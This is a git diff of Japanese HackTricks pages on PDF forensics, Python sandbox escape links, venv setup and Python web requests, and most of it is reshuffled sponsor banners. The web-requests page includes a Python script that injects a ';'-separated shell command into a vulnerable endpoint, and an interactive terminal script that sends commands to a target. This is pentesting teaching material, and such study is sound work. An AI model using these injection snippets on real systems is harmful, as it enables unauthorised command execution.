* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによるワークフローを簡単に構築し、自動化します。\
|
||||
|
@ -22,7 +22,7 @@
|
|||
|
||||
From: [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/)
|
||||
|
||||
PDFは非常に複雑なドキュメントファイル形式であり、[何年もの間にわたって書かれるほど](https://www.sultanik.com/pocorgtfo/)のトリックや隠し場所があります。これは、CTFフォレンジックチャレンジでも人気があります。NSAは2008年に「Hidden Data and Metadata in Adobe PDF Files: Publication Risks and Countermeasures」というタイトルのガイドを作成しましたが、元のURLでは入手できなくなっています。ただし、[ここでコピーを見つけることができます](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf)。Ange Albertiniは、[PDFファイル形式のトリックの](https://github.com/corkami/docs/blob/master/PDF/PDF.md)GitHub上のウィキも保持しています。
|
||||
PDFは非常に複雑なドキュメントファイル形式であり、[何年もの間にわたって書かれるほど](https://www.sultanik.com/pocorgtfo/)のトリックや隠し場所があります。これは、CTFフォレンジックの課題でも人気があります。NSAは2008年に「Hidden Data and Metadata in Adobe PDF Files: Publication Risks and Countermeasures」というタイトルのガイドを作成しましたが、元のURLでは入手できなくなっています。ただし、[ここでコピーを見つけることができます](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf)。Ange Albertiniは、[PDFファイル形式のトリックの](https://github.com/corkami/docs/blob/master/PDF/PDF.md)GitHub上のウィキも保持しています。
|
||||
|
||||
PDF形式は部分的にはHTMLのようなプレーンテキストですが、多くのバイナリ「オブジェクト」を含んでいます。Didier Stevensは、[フォーマットに関する良い入門資料](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/)を書いています。バイナリオブジェクトには、圧縮または暗号化されたデータが含まれることもあり、JavaScriptやFlashのようなスクリプト言語でのコンテンツも含まれます。PDFの構造を表示するには、テキストエディタで閲覧するか、OrigamiのようなPDF対応のファイル形式エディタで開くことができます。
|
||||
|
||||
|
@ -32,10 +32,10 @@ PDF形式は部分的にはHTMLのようなプレーンテキストですが、
|
|||
|
||||
* 非表示のレイヤー
|
||||
* Adobeのメタデータ形式「XMP」
|
||||
* PDFの「増分生成」機能。以前のバージョンはユーザーには表示されませんが、保持されます
|
||||
* PDFの「増分生成」機能(以前のバージョンはユーザーには表示されませんが、保持されます)
|
||||
* 白い背景に白いテキスト
|
||||
* 画像の後ろにテキスト
|
||||
* 重なり合う画像の後ろに画像
|
||||
* 重なり合った画像の後ろに画像
|
||||
* 非表示のコメント
|
||||
|
||||
また、[PeepDF](https://github.com/jesparza/peepdf)のようなPythonパッケージもあり、PDFファイル形式で作業するためのもので、独自の解析スクリプトを作成することができます。
|
||||
|
@ -45,8 +45,8 @@ PDF形式は部分的にはHTMLのようなプレーンテキストですが、
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけて、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを発見してください。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**してください。
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
|
|
File diff suppressed because it is too large
Load diff
|
@ -1,6 +1,18 @@
|
|||
# Python Sandbox Escape & Pyscript
|
||||
|
||||
![](<../../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化します。\
|
||||
|
@ -8,42 +20,30 @@
|
|||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです
|
||||
* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を入手してください
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
|
||||
|
||||
</details>
|
||||
|
||||
**チェックする興味深いページ:**
|
||||
|
||||
* [**Pyscriptハッキングトリック**](pyscript.md)
|
||||
* [**Pyscriptハッキングのトリック**](pyscript.md)
|
||||
* [**Pythonの逆シリアル化**](../../pentesting-web/deserialization/#python)
|
||||
* [**Pythonサンドボックスをバイパスするトリック**](bypass-python-sandboxes/)
|
||||
* [**基本的なPythonウェブリクエストの構文**](web-requests.md)
|
||||
* [**基本的なPythonの構文とライブラリ**](basic-python.md)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです
|
||||
* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を入手してください
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
|
||||
|
||||
</details>
|
||||
|
||||
![](<../../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化します。\
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,24 +1,24 @@
|
|||
# venv
|
||||
|
||||
![](<../../.gitbook/assets/image (9) (1) (2).png>)
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化します。\
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか、またはHackTricksをPDFでダウンロードしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
|
||||
* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も**高度なコミュニティツール**によって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
```bash
|
||||
sudo apt-get install python3-venv
|
||||
#Now, go to the folder you want to create the virtual environment
|
||||
|
@ -37,22 +37,23 @@ is fixed running
|
|||
pip3 install wheel
|
||||
inside the virtual environment
|
||||
```
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化することができます。\
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?または、HackTricksをPDFでダウンロードしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFTコレクション**](https://opensea.io/collection/the-peass-family)
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**。
|
||||
|
||||
</details>
|
||||
|
||||
![](<../../.gitbook/assets/image (9) (1) (2).png>)
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
@ -1,26 +1,27 @@
|
|||
# Webリクエスト
|
||||
|
||||
![](<../../.gitbook/assets/image (9) (1) (2).png>)
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築し、自動化**します。\
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
|
||||
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出**してください。
|
||||
|
||||
</details>
|
||||
|
||||
## Pythonリクエスト
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築し、自動化**します。\
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
||||
## Python Requests
|
||||
```python
|
||||
import requests
|
||||
|
||||
|
@ -90,15 +91,11 @@ return ''.join(random.choice(string.ascii_letters) for i in range(10))
|
|||
```
|
||||
## RCEを悪用するためのPythonコマンド
|
||||
|
||||
To exploit an RCE (Remote Code Execution) vulnerability using Python, you can use the following command:
|
||||
|
||||
RCE(リモートコード実行)の脆弱性を悪用するために、Pythonを使用して以下のコマンドを実行します。
|
||||
|
||||
```python
|
||||
import requests
|
||||
|
||||
url = "http://target.com/vulnerable_endpoint"
|
||||
command = "ls -la"
|
||||
url = "http://target-website.com/vulnerable-endpoint"
|
||||
command = "whoami"
|
||||
|
||||
payload = "; " + command + ";"
|
||||
|
||||
|
@ -107,9 +104,16 @@ response = requests.get(url + payload)
|
|||
print(response.text)
|
||||
```
|
||||
|
||||
In this example, we are using the `requests` library to send an HTTP GET request to the vulnerable endpoint. We append our desired command to the URL as a payload, separating it with semicolons. The vulnerable server will execute the command and return the output in the response. Finally, we print the response text, which will contain the result of the executed command.
|
||||
このPythonコマンドは、リモートコード実行(RCE)を悪用するために使用されます。
|
||||
|
||||
この例では、`requests`ライブラリを使用して脆弱なエンドポイントにHTTP GETリクエストを送信しています。URLに望むコマンドをペイロードとして追加し、セミコロンで区切ります。脆弱なサーバーはコマンドを実行し、レスポンスに出力結果を返します。最後に、実行されたコマンドの結果が含まれるレスポンステキストを表示します。
|
||||
1. `requests` ライブラリをインポートします。
|
||||
2. `url` 変数に、攻撃対象のウェブサイトの脆弱なエンドポイントのURLを指定します。
|
||||
3. `command` 変数に、実行したいコマンドを指定します。
|
||||
4. `payload` 変数に、コマンドを実行するためのペイロードを作成します。`;` を使用してコマンドを区切ります。
|
||||
5. `requests.get()` メソッドを使用して、攻撃対象のウェブサイトに対してリクエストを送信します。ペイロードをURLに追加します。
|
||||
6. レスポンスのテキストを表示します。
|
||||
|
||||
このコマンドを使用すると、攻撃者は脆弱なエンドポイントを介して任意のコマンドを実行できます。
|
||||
```python
|
||||
import requests
|
||||
import re
|
||||
|
@ -136,22 +140,23 @@ return 1
|
|||
term = Terminal()
|
||||
term.cmdloop()
|
||||
```
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化します。\
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?または、HackTricksをPDFでダウンロードしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
